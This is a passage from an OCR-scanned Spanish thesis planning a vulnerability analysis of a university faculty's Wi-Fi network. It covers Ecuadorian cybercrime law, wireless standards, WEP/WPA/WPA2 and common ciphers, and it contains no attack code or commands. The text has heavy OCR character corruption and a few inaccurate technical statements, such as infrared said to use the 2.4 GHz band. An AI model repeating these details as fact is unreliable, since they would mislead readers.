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RESUMEN EJECUTIVO

El gran avance tecnoldgico de los Gltimos tiempos exige nuevos cambios en la
estructura de la red de las pequefias y medianas empresas, incluso en los hogares
el uso de las redes inalambricas se ha convertido en la mejor opcion debido a que
tiene grandes ventajas sobre las redes cableadas por ser mucho mas econémicas y
faciles de instalar. Lo que no se expone son los problemas de seguridad que
poseen debido a que la informacidn que viaja puede ser interceptada por terceras

personas.

El presente proyecto de investigacion se enfoca en realizar un andlisis de la red
inaldmbrica de la Facultad de Ingenieria en Sistemas Electronica e Industrial para
detectar vulnerabilidades, utilizando herramientas que permitan observar el nivel
de seguridad efectuando ataques y plantear recomendaciones para mejorar la

seguridad de la red inaldmbrica de la FISEI.
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INTRODUCCION

Al proyecto denominado “ANALISIS DE VULNERABILIDADES DE LA RED
INALAMBRICA PARA EVITAR LA INSEGURIDAD DE LA INFORMACION
DE LOS USUARIOS DE LA FISEI DE LA UTA” que se presenta se encuentra

dividido por capitulos que son detallados a continuacion.

Capitulo 1. Denominado “EL PROBLEMA”, se refiere al detalle en si del
problema que se va dar solucién por medio de la justificacién, del analisis y el

planteamiento del mismo junto con sus objetivos.

Capitulo 2. Denominado “MARCO TEORICO”, se fundamenta el marco tedrico
en el que se va a trabajar, ademéas los antecedentes investigativos que sirven de
base para la investigacion, la fundamentacion legal, la hipotesis y el sefialamiento

de variables.

Capitulo 3. Denominado “METODOLOGIA”, se establece el tipo de
metodologia en el que se va a trabajar, como también el enfoque, la modalidad
basica de la investigacion, la operacionalizacion de variables, el tipo de

investigacion la poblacion y la muestra.

Capitulo 4. Denominado “ANALISIS E INTERPRETACION DE LOS
RESULTADOS”, como su nombre lo indica se realiza un analisis de los
resultados obtenidos después de realizada la investigacion y se procede a
interpretar los resultados.

Capitulo 5. Denominado “CONCLUSIONES Y RECOMENDACIONES” se
presenta las conclusiones a raiz del analisis de la informacion recopilada y se

proponen las respectivas recomendaciones.

Capitulo 6. Denominado “PROPUESTA” se determina el proceso que se

realizar para cumplir con los objetivos planteados.

Finalmente se presentan los anexos en los cuales consta el modelo de la encuesta
y la entrevista utilizada, el croquis de la Universidad Técnica de Ambato y la

instalacion de la distribucion Backtrack 5.
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CAPITULO |

1. EL PROBLEMA

1.1. Tema:

Anélisis de vulnerabilidades de la red inalambrica para evitar la inseguridad de la

informacidn de los usuarios de la FISEI de la UTA.

1.2. Planteamiento del Problema

1.2.1. Contextualizacion

Las Redes Inalambricas de Area Local (WLAN) en la actualidad son utilizadas
por organizaciones, universidades, hoteles, hogares, centros comerciales, etc.,
debido a su facil instalacion y conexion como también a sus bajos costos. En este
tipo de redes la informacién viaja por medio de ondas de radio quedando la
informacion vulnerable a ataques por personas con fines maliciosos y mas aun

cuando los protocolos existentes ya no son considerados seguros.

A nivel mundial se han realizado estudios en diferentes paises en cuanto a la
seguridad de las redes inalambricas, dando resultados alarmantes de la situacion
de las mismas. Segun estudios internacionales realizados en Bolivia, Meéxico,
Uruguay, Argentina, Canada, Espafia y entre otrosse dice que de 905 redes, 374 el
41.33% disponen de algin sistema de cifrado, mientras que de 531 redes el



58.37% carecen de cifrado. De esta manera se ha comprobado que los usuarios y
los administradores de la red inaldmbrica de las organizaciones no ponen énfasis
en lo que es seguridad de la informacién, a pesar de que en otros paises el nivel de

conocimiento es mas avanzado.

Debido a que estas redes son publicas y se las puede encontrar en varias zonas
alrededor del mundo, cualquier persona con un dispositivo inalambrico sea laptop,
tablet, PDA, etc., se pueden conectar a la red inalambrica sea para navegar por
internet o para tener acceso a los datos. En otros casos al acceder a estos puntos de
acceso inalambricos la persona si no toma medidas de seguridad puede estar
conectandose a un punto de acceso falso, de esta forma la informacién personal,

contrasefias, claves bancarias pueden ser tomadas por el atacante.

En cuanto al Ecuador se puede decir que en los ultimos meses el término
seguridad informatica se encuentra en auge, debido a los diferentes ataques que se
han efectuado en las paginas web del gobierno. A raiz de este acontecimiento se
ha puesto mas interés a las seguridades que deben poseer las organizaciones para
prevenir ataques. En el area de la seguridad en redes segun un estudio realizado en
la ciudad de Quito empleando programas informaticos para estos fines, se dice
que un 93% de las redes inalambricas son vulnerables a ataques maliciosos,
informacion obtenida del diario EI Comercio (domingo 5 de junio del 2011), con
el tema “Las redes Wi-Fi en Quito no son seguras”. Dejando muy claro que la

seguridad informatica es un campo aun no explotado en el pais.

En Tungurahua, un gran porcentaje de organizaciones hacen uso de las Redes
Inalambricas, ya sea para su red interna o para el acceso a internet. A pesar de que
en la zona algunos Administradores de Redes conocen sobre los tipos de ataques
existentes no se toman medidas de seguridad para proteger a las WLAN. Se debe
poner mayor énfasis en los mecanismos de cifrado de la informacion, porque en la
mayoria de casos se usan la configuracion que esta por defecto. En la provincia no
se han confirmado adn ataques a la informacion de una red inalambrica de alguna

organizacion, pero se debe poner mayor interés en la seguridad que viaja por



medio del aire en las redes inalambricas. Se deben implementar técnicas de

seguridad para proteger la informacidn de las organizaciones.

El nivel de seguridad en la red inaldmbrica de la Facultad de Ingenieria en

Sistemas Electrénica e Industrial (FISEI) de la Universidad Técnica de Ambato y

los mecanismos de autenticacion utilizados no siempre certifican la completa

eficiencia en cuanto a la seguridad de una red inalambrica. Ademas en la Facultad

se han implementado recientemente puntos de acceso a internet sin poder en

ninguna ocasion analizarlos completamente para comprobar el nivel de seguridad

y vulnerabilidad. La informacidn es considerada como un elemento importante en

toda organizacion y la Facultad no es la excepcidn, por esta razén es de suma

importancia que llegue a su destino totalmente integra.

1.2.2. Andlisis critico

ARBOL DEL PROBLEMA
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usuarios no
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informacion
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Gréfico 1.1Arbol del Problema




En la red inaldmbrica de la FISEI existe un bajo control en el acceso, debido a que
los métodos utilizados no son lo suficientemente seguros y facilmente pueden
llegar a ser vulnerados con herramientas para lograr este fin. De la misma forma
se puede encontrar en libros incluso en el internet varias maneras de realizar

ataques, permitiendo el acceso de usuarios no autorizados a la red inalambrica.

El desconocimiento de técnicas de seguridad informatica actuales puede llegar a
poner en riesgo la informacion debido a que en las redes inaldmbricas se puede
considerar como principal desventaja el que la informacion viaje por aire
guedando expuesta a personas ajenas 0 en muchos casos que sus propios usuarios

intenten acceder.

En la FISEI existian constantes caidas de la red inaldmbrica a causa de la reciente
implementacion de puntos de accesos para conexién a internet en el nuevo
edificio dato que pudo ser obtenido del administrador de red, de esta manera

afectando directamente a los usuarios.

A la red inaldmbrica de la FISEI se la puede considerar insegura por no poder
controlar los alcances de la sefial inalambrica debido a que no se puede evitar la
intercepcién de los datos que viajan por aire y la sefial podria ser detectada a

grandes distancias e infiltrarse en la red siendo usuarios no autorizados.

1.2.3. Prognosis

De no realizar un analisis a la red inalambrica de la FISEI esté sera vulnerable a
amenazas, debido a que una red nunca podra ser 100% segura pero se puede
lograr controlar un gran porcentaje implementando mecanismos de seguridad, esto
podria traer consigo desprestigio para la Facultad especialmente para las personas

que administran la red inaldmbrica de la misma.



1.2.4. Formulacion del Problema

¢Qué incidencia tiene la vulnerabilidad de la red inalambrica en la inseguridad de

la informacion de los usuarios de la FISEI de la UTA?

1.2.5. Preguntas Directrices

¢Qué consecuencias puede traer el bajo control de acceso a la red inalambrica?

- ¢Qué puede suceder por el desconocimiento de técnicas de seguridad
informatica?

- ¢Qué hacer para prevenir las caidas de la red inaldmbrica?

- ¢Qué hacer para controlar el alcance de los datos que viajan por aire?

- ¢Enque influye el nivel de seguridad deficiente?

1.2.6. Delimitacion

Teodrico:
Campo: Redes
Area: Seguridad en Redes

Aspecto: Redes Inalambricas

Tiempo: La investigacion propuesta se desarrollara en el periodo de 6 meses a
partir de la fecha de aprobacion del proyecto.

Espacio: La presente investigacion se desarrollara en la FISEI de la Universidad

Técnica de Ambato de la ciudad de Ambato.



1.3. Justificacion

Se propone realizar un analisis de las vulnerabilidades de la red inalambrica de la
FISEl porque es fundamental mantener la integridad, confiabilidad y la
autenticidad de la informacién, a pesar de que esta no es de suma importancia
debido a que la red inalambrica es usada solo para el acceso a internet, de la
misma manera es necesario mejorar la seguridad para evitar cualquier tipo de

ataque.

El Internet ha contribuido muchisimo al incremento de este tipo de ataques por ser
un medio en el que se puede encontrar toda la informacién posible, por esta razon
el tema propuesto aportara con el mejoramiento del nivel de seguridad de la red

inalambrica de la Facultad de Ingenieria en Sistemas, Electronica e Industrial.

Como principales beneficiarios tenemos a los usuarios de la red inalambrica de la
Facultad ya que permitird una conexion segura de esta manera contribuyendo con

la reduccion de vulnerabilidades.

1.4. Objetivo

Objetivo General
e Analizar las wvulnerabilidades de la red inalambrica para evitar la

inseguridad de la informacion de los usuarios de la FISELI.

Objetivo Especifico
e Determinar los tipos de vulnerabilidades existentes en la red inalambrica
de la FISELI.
e Establecer los puntos vulnerables y el tipo de inseguridad de los usuarios
de la FISELI.
e Elaborar un informe de vulnerabilidades y de soluciones para disminuir las

vulnerabilidades de la red inaldmbrica de la FISELI.



CAPITULO I

2. MARCO TEORICO

2.1. Antecedentes Investigativos

Revisados los archivos de la FISEI se encontro el trabajo investigativo elaborado
por la ingeniera Verdnica Patricia Vela Salazar cuyo tema es el “ESTUDIO DE
LOS MECANISMOS DE SEGURIDAD PARA LAS REDES
INALAMBRICAS” realizado en el afio 2009, cuyas conclusiones expresan que:
Una red sin los adecuados mecanismos de seguridad puede convertirse en un
posible punto de entrada (para intrusos) a las redes corporativas, donde existan los
datos de gran importancia. En la actualidad conceptos como wardriving o
warchalking estan siendo usados por todo el mundo. Wardriving significa
conducir por la ciudad con un ordenador portétil y una tarjeta WLAN con la
finalidad de encontrar redes WLAN instaladas. Mientras que warchalking es un
conjunto de simbolos que se realizan en lugares publicos para dar a conocer la

existencia de una red WLAN y los parametros necesarios para acceder a ella.

2.2. Fundamentacion Legal

ARTICULOS OBTENIDOS DE LA LEY DE COMERCIO
ELECTRONICO, FIRMAS ELECTRONICAS Y MENSAJES DE DATOS
(LEY NO. 2002-67)



De las Infracciones Informaticas

Art. 57 Infracciones informaticas.- Se consideraran infracciones informaticas,
las de caracter administrativo y las que se tipifican, mediante reformas al Codigo
Penal, en la presente ley.

Art. 58.- El que empleando cualquier medio electrénico, informatico o afin,
violentare claves o sistemas de seguridad, para acceder u obtener informacién
protegida, contenida en sistemas de informacion; para wvulnerar el secreto,
confidencialidad y reserva, o simplemente vulnerar la seguridad, sera reprimido
con prisién de seis meses a un afio y multa de quinientos a mil dolares de los

Estados Unidos de Norteameérica.

Si la informacion obtenida se refiere a seguridad nacional, o a secretos
comerciales o industriales, la pena serd de uno a tres afios de prision y multa de
mil a mil quinientos doélares de los Estados Unidos de Norteamérica. La
divulgacion o la utilizacion fraudulenta de la informacién protegida, asi como de
los secretos comerciales o industriales, seran sancionadas con pena de reclusion
menor ordinaria de tres a seis afios y multa de dos mil a diez mil dolares de los
Estados Unidos de Norteamérica. Si la divulgacién o la utilizacion fraudulenta se
realizan por parte de la persona o personas encargadas de la custodia o utilizacion
legitima de la informacion, éstas serdn sancionadas con pena de reclusion menor
de seis a nueve afios y multa de dos mil a diez mil dolares de los Estados Unidos

de Norteamérica.

Obtencidn y utilizacion no autorizada de informacién.- La persona o personas que
obtuvieren informacién sobre datos personales para después cederla, publicarla,
utilizarla o transferirla a cualquier titulo, sin la autorizacion de su titular o
titulares, seran sancionadas con pena de prision de dos meses a dos afios y multa

de mil a dos mil dolares de los Estados Unidos e Norteamérica.".



Art. 59.- Seran reprimidos con tres a seis afios de reclusion menor, todo empleado
publico y toda persona encargada de un servicio publico, que hubiere maliciosa y
fraudulentamente, destruido suprimido documentos, titulos, programas, datos,
bases de datos, informacién o cualquier mensaje de datos contenido en un sistema
de informacién o red electrénica, de que fueren depositarios, en su calidad de

tales, o que les hubieren sido encomendados en razén de su cargo™.

Art. 60.- Falsificacion electronica.- Son reos de falsificacion electronica la
persona o personas que con animo de lucro o bien para causar un perjuicio a un
tercero, utilizando cualquier medio, alteren o modifiqguen mensajes de datos, o la
informacion incluida en éstos, que se encuentre contenida en cualquier soporte

material, sistema de informacion o telematico, ya sea:

1.- Alterando un mensaje de datos en alguno de sus elementos o requisitos de
carécter formal o esencial;
2.- Simulando un mensaje de datos en todo o en parte, de manera que induzca a
error sobre su autenticidad,;
3.- Suponiendo en un acto la intervencion de personas que no la han tenido o
atribuyendo a las que han intervenido en el acto, declaraciones o manifestaciones

diferentes de las que hubieren hecho.

El delito de falsificacion electrénica sera sancionado de acuerdo a lo dispuesto en
este capitulo."”

Art. 61.- A continuacion del Art. 415 del Cddigo Penal, incliyanse los siguientes

articulos enumerados:

"Art. ...- Dafios informaticos.- El que dolosamente, de cualquier modo o
utilizando cualquier método, destruya, altere, inutilice, suprima o dafie, de forma
temporal o definitiva, los programas, datos, bases de datos, informacion o

cualquier mensaje de datos contenido en un sistema de informacién o red



electronica, sera reprimido con prisién de seis meses a tres afios y multa de

sesenta a ciento cincuenta dolares de los Estados Unidos de Norteamérica.

La pena de prision sera de tres a cinco afios y multa de doscientos a seis cientos
dolares de los Estados Unidos de Norteamérica, cuando se trate de programas,
datos, bases de datos, informacion o cualquier mensaje de datos contenido en un
sistema de informacion o red electrénica, destinada a prestar un servicio publico o

vinculado con la defensa nacional.

Art. ....- Si no se tratare de un delito mayor, la destruccion, alteracion o
inutilizacion de la infraestructura o instalaciones fisicas necesarias para la
transmision, recepcion o procesamiento de mensajes de datos, serd reprimida con
prision de ocho meses a cuatro afios y multa de doscientos a seis cientos dolares

de los Estados Unidos de Norteamérica."

Art. 62.- A continuacion del Art. 553, afiadanse los siguientes articulos

enumerados:

"Art. ....- Apropiacion ilicita.- Seran reprimidos con prision de seis meses a cinco
afios y multa de quinientos a mil dolares de los Estados Unidos de Norteamérica,
los que utilizaren fraudulentamente sistemas de informacion o redes electronicas,
para facilitar la apropiacion de un bien ajeno, o los que procuren la transferencia
no consentida de bienes, valores o derechos de una persona, en perjuicio de ésta o
de un tercero, en beneficio suyo o de otra persona alterando, manipulando o
modificando el funcionamiento de redes electronicas, programas informaticos,

sistemas informaticos, teleméaticos o0 mensajes de datos.
Art. ....- La pena de prision de uno a cinco afios y multa de mil a dos mil dolares
de los Estados Unidos de Norteamérica, si el delito se hubiere cometido

empleando los siguientes medios

1. Inutilizacién de sistemas de alarma o guarda;
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2. Descubrimiento descifrado de claves secretas o encriptados;

3. Utilizacién de tarjetas magnéticas o perforadas;

4. Utilizacién de controles o instrumentos de apertura a distancia; y,

5. Violacion de seguridades electrdnicas, informaticas u otras semejantes.”

Art. 63.- Aflddase como segundo inciso del articulo 563 del Cddigo Penal, el

siguiente:

"Seré sancionado con el maximo de la pena prevista en el inciso anterior y multa

de quinientos a mil dolares de los Estados Unidos de Norteamérica, el que

cometiere el delito, utilizando medios electrénicos o telematicos."

2.3. Categorias Fundamentales

Redes
Inaldmbricas

Estdndares
Inaldmbricos

Cifrados y
Algoritmos

Variable Independiente

Seguridad de la
Informacién

Seguridad de la
Informacion

Mecanismos
de Seguridad

Variable Dependiente

Grafico 2.1.Categorias Fundamentales
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Constelaciéon de Variables
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Gréfico 2.2. Constelacion de Variables

Red Inalambrica

Segin ANDREU Joaquin (2010, pag.212) “Las redes inaldmbricas wireless
(wireless network) son redes sin cable que se suelen comunicar por medios no
guiados a través de ondas electromagnéticas. La transmision y la recepcion se
efectdan a través de antenas.”

Tipos de Redes Inalambricas

Andnimo, (internet; 21 /04/2010; 29 /10/2011; 16:40:10). La definicion o los

tipos de redes inalambricas tenemos las siguientes:
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Redes inalambricas de area personal (WPAN)

Una red inalambrica de area personal (WPAN) incluye redes inalambricas de
corto alcance que abarcan un area de algunas decenas de metros. Este tipo de red
se usa generalmente para conectar dispositivos periféricos (por ejemplo,
impresoras, teléfonos moéviles y electrodomésticos) o un asistente personal digital
(PDA) a un ordenador sin conexion por cables. También se pueden conectar de
forma inaldmbrica dos ordenadores cercanos. Se usan varios tipos de tecnologia
para las WPAN:

La tecnologia principal WPAN es Bluetooth, lanzado por Ericsson en 1994.
Ofrece una velocidad méaxima de 1 Mbps con un alcance maximo de unos treinta
metros. La tecnologia Bluetooth, también conocida como IEEE 802.15.1, tiene la
ventaja de tener un bajo consumo de energia, algo que resulta ideal para usarla en

periféricos de pequefio tamafio.

Redes de area local inalambricas (WLAN)

Una red de area local inalambrica (WLAN) es una red que cubre un area
equivalente a la red local de una empresa, con un alcance aproximado de cien
metros. Permite que las terminales que se encuentran dentro del area de cobertura

puedan conectarse entre si. Existen varios tipos de tecnologias:
Wifi (o IEEE 802.11) con el respaldo de WECA (Wireless Ethernet Compatibility

Alliance) ofrece una velocidad méaxima de 54 Mbps en una distancia de varios
cientos de metros.
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Redes inalambricas de area metropolitana (WMAN)

Las redes inalambricas de area metropolitana (WMAN) también se conocen como
bucle local inalambrico (WLL, Wireless Local Loop). Las WMAN se basan en el
estandar IEEE 802.16. Los bucles locales inalambricos ofrecen una velocidad
total efectiva de 1 a 10 Mbps, con un alcance de 4 a 10 kilémetros, algo muy util

para compafiias de telecomunicaciones.

La mejor red inaldmbrica de area metropolitana es WiMAX, que puede alcanzar

una velocidad aproximada de 70 Mbps en un radio de varios kilémetros.

Redes inalambricas de &rea extensa (WWAN)

Las redes inalambricas de area extensa (WWAN) tienen el alcance mas amplio de
todas las redes inalambricas. Por esta razon, todos los teléfonos moviles estan
conectados a una red inalambrica de area extensa. Las tecnologias principales
son:

*GSM (Global System for Mobile Communication)

*GPRS (General Packet Radio Service)

*UMTS (Universal Mobile Telecommunication System)”

fBas Servicos Estandares
Decenas Arpas SEMVIO0S

de kilometros

kilametras

Cientos de matros

Decenas da metros

Metras

Centimetros

Gréfico 2.3.Tipos de redes inalambricas

Las redes inaldmbricas transmiten y reciben los datos por aire mediante ondas de
radio, se las considera como una extension de las redes cableadas, debido a que

poseen grandes ventajas como: la facil instalacion y conexion evitando los

14



molestos cables, la sefial llega a lugares donde es imposible brindar el servicio una
red cableada. Por su cobertura existen 4 tipos de redes inalambricas, la WWAN, la
WMAN, la WLAN, y la WPAN. En donde cada una se diferencia por las
distancias que puede cubrir. En este caso la WLAN serd la que se estudiara por lo

que es el area equivalente de la Facultad.

Estandares Inalambricos

Anonimo, (internet; 2006; 01/11/2011; 17:20:36), “Wi-Fi es un conjunto de
estandares para redes inaldmbricas basado en las especificaciones IEEE 802.11,

robusto, maduro y bien establecido que continta creciendo y evolucionando.
Wi-Fi se cred para ser utilizada en redes locales inalambricas, pero es frecuente
que en la actualidad también se utilice para acceder a Internet.

Protocolos

802.11 legacy

La version original del estdndar IEEE 802.11 publicada en 1997 especifica dos
velocidades de transmision tedricas de 1y 2 mega bit por segundo (Mbit/s) que se
transmiten por sefales infrarrojas (IR) en la banda ISM a 2,4 GHz. IR sigue
siendo parte del estandar, pero no hay implementaciones disponibles.

802.11b

La revision 802.11b del estandar original fue ratificada en 1999. 802.11b tiene una

velocidad méxima de transmision de 11 Mbit/s y utiliza el mismo método de
acceso CSMAJ/CA definido en el estandar original. El estandar 802.11b funciona
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en la banda de 2.4 GHz. Debido al espacio ocupado por la codificacion del
protocolo CSMAJ/CA, en la préctica, la velocidad méxima de transmision con este
estandar es de aproximadamente 5.9 Mbit/s sobre TCP y 7.1 Mbit/s sobre UDP.

802.11a

En 1997 la IEEE (Instituto de Ingenieros Eléctricos Electronicos) crea el Estandar
802.11 con velocidades de transmision de 2Mbps.

El estandar 802.11a utiliza el mismo juego de protocolos de base que el estandar
original, opera en la banda de 5 Ghz y utiliza 52 (OFDM) con una velocidad
maxima de 54 Mbit/s, lo que lo hace un estandar préactico para redes inaldmbricas
con velocidades reales de aproximadamente 20 Mbit/s. La velocidad de datos se
reduce a 48, 36, 24, 18, 12, 9 o 6 Mbit/s en caso necesario. 802.11a tiene 12

canales no solapados, 8 para red inalambrica y 4 para conexiones punto a punto.

802.11g

En Junio de 2003, se ratificd un tercer estandar de modulacion: 802.11g. Este
utiliza la banda de 2.4 Ghz (al igual que el estandar 802.11b) pero opera a una
velocidad tedrica maxima de 54 Mbit/s, o cerca de 24.7 Mbit/s de velocidad real
de transferencia, similar a la del estandar 802.11a. Es compatible con el estandar b
y utiliza las mismas frecuencias. Buena parte del proceso de disefio del estandar lo
tomé el hacer compatibles los dos estandares. Sin embargo, en redes bajo el
estandar g la presencia de nodos bajo el estdndar b reduce significativamente la

velocidad de transmision.

Los equipos que trabajan bajo el estandar 802.11g llegaron al mercado muy

rapidamente, incluso antes de su ratificacion.
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802.11n

En enero de 2004, la IEEE anuncio6 la formacion de un grupo de trabajo 802.11
(Tgn) para desarrollar una nueva revision del estandar 802.11. la velocidad real de
transmisién podria Ilegar a los 500 Mbps (lo que significa que las velocidades
tedricas de transmisién serian ain mayores), y deberia ser hasta 10 veces mas
rapida que una red bajo los estandares 802.11a y 802.11g, y cerca de 40 veces mas
rapida que una red bajo el estandar 802.11b. También se espera que el alcance de

operacion de las redes sea mayor con este nuevo estandar.

802.11e

Con el estandar 802.11e, la tecnologia IEEE 802.11 soporta trafico en tiempo real
en todo tipo de entornos y situaciones. Las aplicaciones en tiempo real son ahora
una realidad por las garantias de Calidad de Servicio (QoS) proporcionado por el
802.11e. El objetivo del nuevo estandar 802.11e es introducir nuevos mecanismos
a nivel de capa MAC para soportar los servicios que requieren garantias de
Calidad de Servicio. Para cumplir con su objetivo IEEE 802.11e introduce un
nuevo elemento Ilamado Hybrid Coordination Function (HCF) con dos tipos de

aCCeso:

- (EDCA) Enhanced Distributed Channel Access y

-(HCCA) ControlledChannel Access.

802.11 Super G (Protocolo propietario)

Hoy en dia el estandar 802.11 Super G, con una banda de 2.4 Ghz y 5 Ghz,

alcanza una velocidad de transferencia de 108 Mbps. De la empresa D-Link.”
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Actualmente existen varios tipos de estandares inaldmbricos que se adaptan de
acuerdo a las necesidades del usuario y cada una se diferencia de acuerdo a las

especificaciones técnicas.

Cifrados y Algoritmos

Cifrados

Anonimo, (internet; 2012; 25/03/2012; 12:12:10), “En criptografia un cifrado , es
un procedimiento que utilizando un algoritmo (algoritmo de cifrado) con cierta
clave (clave de cifrado) transforma un mensaje, sin atender a su estructura
linglistica o significado, de tal forma que sea incomprensible o, al menos, dificil
de comprender, a toda persona que no tenga la clave secreta (clave de descifrado)
del algoritmo que se usa para poder descifrarlo (algoritmo de descifrado). Por
tanto tenemos dos algoritmos (el de cifrado y el de descifrado) y dos claves (clave
de cifrado y clave de descifrado). Estas dos claves pueden ser iguales (criptografia

simétrica) o no (criptografia asimétrica).”

Tipos de cifrados Inaldmbricos

AGUILERA LOPEZ Purificacion (2010, pag.173). “Tipos de cifrados

inalambricos:

WEP

Wired Equivalent Privacy. Tradicionalmente es la encriptacion que traen por
defecto los routers, pero esta tendencia esta cambiando debido a la facilidad con la

que se puede romper la seguridad de esta encriptacion. La longitud de la

contrasefia con la que encriptamos puede ser de 64 o de 128 bits, y de esta
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longitud dependerd la robustez de la contrasefia, pero la mejor es la de 128.Se

basa en el algoritmo para cifrado RCA4.

WPA

Wi-Fi Protected Access. Este protocolo corrige los problemas que presenta WEP
y permite la autentificacion a través de un servidor, donde estan guardadas las
contrasefias y datos sobre los distintos usuarios de la red, aunque también se
puede configurar para utilizar un sistema de claves compartidas, equivalente al de
WEP, que se llama PSK (Pre-Shared Key).

Si el cifrado WPA usa una clave compartida, se denomina WPA-Personal y si usa
un servidor para la clave, WPA-Emterprise.

Para acceder a estas redes rompiendo su seguridad se necesita un ataque por
fuerza bruta a base de diccionarios, o que podemos evitar utilizando una politica

de contrasefias.

WPA2

Es la mas completa puesto que cumple con el protocolo de seguridad IEEE
802.11, que se aplica a los dos primeros niveles OSI. También existe la WPA2-

Persona y la WPA2-Enterprise.”

WEP WPA WPA 2
RC4 RC4 AES
40 bits 128 bits enc. 128 bits
64 bits auth.
24-bit IV 48-bit IV 48-hit IV
CRC-32 Michael CCM
Ninguna Michael ccMm
Ninguna EAP EAP

Tabla 2.1. Tipos de cifrados
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Los tipos de cifrados presentados anteriormente son los que permiten proteger a la
informacion de robos. Como ya se dijo anteriormente el WEP es el mas
vulnerable ya que ha sido crackeado y en internet se pueden encontrar las
herramientas suficientes para realizar eso. EI mas seguro es el WPA2 y este

aparecio para corregir las vulnerabilidades existentes en el WEP.

Tipos de cifrado atendiendo a sus claves

Anonimo, (internet; 2012; 28/03/2012; 12:20:16), Tipos de cifrado atendiendo a

sus claves:

Simétrico

Cifrado Simétrico es cuando utiliza la misma clave para cifrar y descifrar.

Q‘b Se envia &
Se cifra con la > Kﬁx Se desciira
clave con la clave

Cifrado Simetrico
Gréafico 2.4.Cifrado Simétrico

Asimétrico

Es cuando usa claves diferentes: una pareja compuesta por una clave publica, que
sirve para cifrar, y por una clave privada, que sirve para descifrar. EI punto
fundamental sobre el que se sostiene esta descomposicion publica/privada es la
imposibilidad practica de deducir la clave privada a partir de la clave publica. Se
suele denominar a este tipo de cifrado usando las siglas PKE (del inglés Public-

Key Encryption).
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3 Se envia :)
Andrea cifra con la > @ Bruno descifra con >
su clave privada

clave publica de Bruno

Cifrado Asimetrico

Gréfico 2.5.Cifrado Asimétrico

Algoritmos

Un algoritmo criptografico, es una funcion matematica usada en los procesos de
encriptacion y desencriptacion. Un algoritmo criptografico trabaja en combinacion
con una llave (un ndmero, palabra, frase, o contrasefia) para encriptar y

desencriptar datos.

Para encriptar, el algoritmo combina matematicamente la informacion a proteger
con una llave provista. El resultado de este calculo son los datos encriptados. Para
desencriptar, el algoritmo hace un célculo combinando los datos encriptados con
una llave provista, siendo el resultado de esta combinacién los datos
desencriptados (exactamente igual a como estaban antes de ser encriptados si se

uso la misma llave).

Si la llave o los datos son modificados el algoritmo produce un resultado
diferente. El objetivo de un algoritmo criptografico es hacer tan dificil como sea
posible desencriptar los datos sin utilizar la llave. Si se usa un algoritmo de
encriptacion realmente bueno, entonces no hay ninguna técnica significativamente
mejor que intentar metédicamente con cada llave posible. Incluso para una llave

de s6lo 40 bits, esto significa 2°40 (poco mas de 1 trillon) de llaves posibles.
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Tipos de algoritmos de cifrado

Segun CABRERA Claudio, (internet; 06/06/2011; 02/11/2011; 20:43:04). “Tipos

de algoritmos de cifrado:

Algoritmo Simétrico

RC4

Su nombre completo es Rivest Cipher 4 teniendo el acronimo RC un significado
alternativo al de Ron'sCode utilizado para los algoritmos de cifrado RC2, RC5 y
RC6.

RC4 o0 ARC4 es parte de los protocolos de encriptacién mas comunes como WEP,
WPA para dispositivos wireless y TLS. Utilizando 40 y 128 bits correspondientes
a la clave secreta de encriptacion y los 24 y 48 bits al vector de inicializacion, por
lo tanto WEP utiliza los 64 bits y WPA los 128 bits.

El algoritmo RC4 utiliza un vector de inicializacién (VI), este es generado
dindmicamente y deberia ser diferente para cada trama. El objetivo perseguido
con el Vector de Inicializacion es cifrar con claves diferentes para impedir que un
posible atacante pueda capturar suficiente trafico cifrado con la misma clave y
terminar finalmente deduciendo la clave. Como es légico, ambos extremos deben
conocer tanto la clave secreta como el Vector de Inicializacion. Lo primero
sabemos ya que es conocido puesto que esta almacenado en la configuracién de
cada elemento de red. El Vector de Inicializacion, en cambio, se genera en un
extremo y se envia en la propia trama al otro extremo, por lo que también seré

conocido.
Observemos que al viajar el Vector de Inicializacion en cada trama es sencillo de

interceptar por un posible atacante. Debido a las vulnerabilidades que tiene el
algoritmo RC4 fue excluido de los estandares de alta seguridad por los
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criptégrafos, algunos modos de usar el algoritmo de criptografia RC4 lo han

Ilevado a ser un sistema de criptografia muy inseguro, incluyendo su uso WEP.

No esta recomendado su uso en los nuevos sistemas, sin embargo, algunos

sistemas basados en RC4 son lo suficientemente seguros para un uso comun.

AES

El estandar AES (AdvancedEncryption Standard, estandar avanzado de cifrado),
el nuevo método de cifrado (y sucesor de DES/3DES), adoptado por el Gobierno
Federal de los Estados Unidos. AES es un algoritmo publico disefiado para

proteger informacién gubernamental durante los primeros afios de este siglo.

NIST solicitd propuestas para el estandar AES el 12 de septiembre de 1997, cada
uno de los algoritmos candidatos soporta tamafio de clave criptografica de 128,
192 y 256 bits. Con un tamario de clave de 128 bits hay aproximadamente (340
seguido de 36 ceros posibles claves). AES también conocido como Rijndael es un

sistema de cifrado de blogues disefiado por Joan Daemen y Vincent Rijmen.

El sistema de cifrado tiene una longitud de blogue Yy una longitud de clave
variables. Actualmente, estd especificando cdmo utilizar claves con una longitud
de 128, 192 o 256 bits para cifrar bloques con longitudes de 128, 192 o 256 bits,
pudiéndose utilizar las nueve combinaciones posibles. La longitud de clave como

la de bloque pueden extenderse en multiplos de 32 bits”.

DES
(Data Encryption Standard - Algoritmo de Encriptacion Estandar). Desarrollado

por IBM, es un algoritmo de cifrado que utiliza bloques de datos de 64 bits y
clave de 56 bits. No es suficientemente seguro, pues es vulnerable al ataque por
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fuerza bruta, lograndose, por ejemplo, romper su seguridad en 24 horas. Para

mejorarlo se cred el algoritmo llamado Triple DES.

El algoritmo se desarrollé a peticion del gobierno estadounidense el 27 de agosto
de 1974. Fue IBM quien presentd el DES, un algoritmo basado en otro anterior

llamado Lucifer de Horst Feistel.

DES fue elegido como estandar por la FIPS en EE.UU. en el afio 1976, y luego

aceptado en todo el mundo. DES esta siendo remplazado por el AES.

3DES

En criptografia, tipo de algoritmo que realiza un triple cifrado tipo DES, esto lo
hace muchisimo mas seguro que el cifrado DES simple. Fue desarrollado por IBM

en el afio 1978.

El Triple DES, no es un cifrado mdltiple, pues no son independientes todas las
subclases. Esto es porque DES tiene la propiedad matematica de no ser un grupo;
esto implica que si se cifra el mismo bloque dos veces, con dos llaves distintas, se

aumenta el tamano efectivo de la llave.

TDES naci6 por la inseguridad que traia una clave de 56 bits. Las claves de 56
bits eran posibles de descifrar utilizando un ataque de fuerza bruta. EI TDES

agrandaba el largo de la llave, sin necesidad de cambiar de algoritmo cifrador.

El método de cifrado TDES desaparece progresivamente, siendo remplazado por
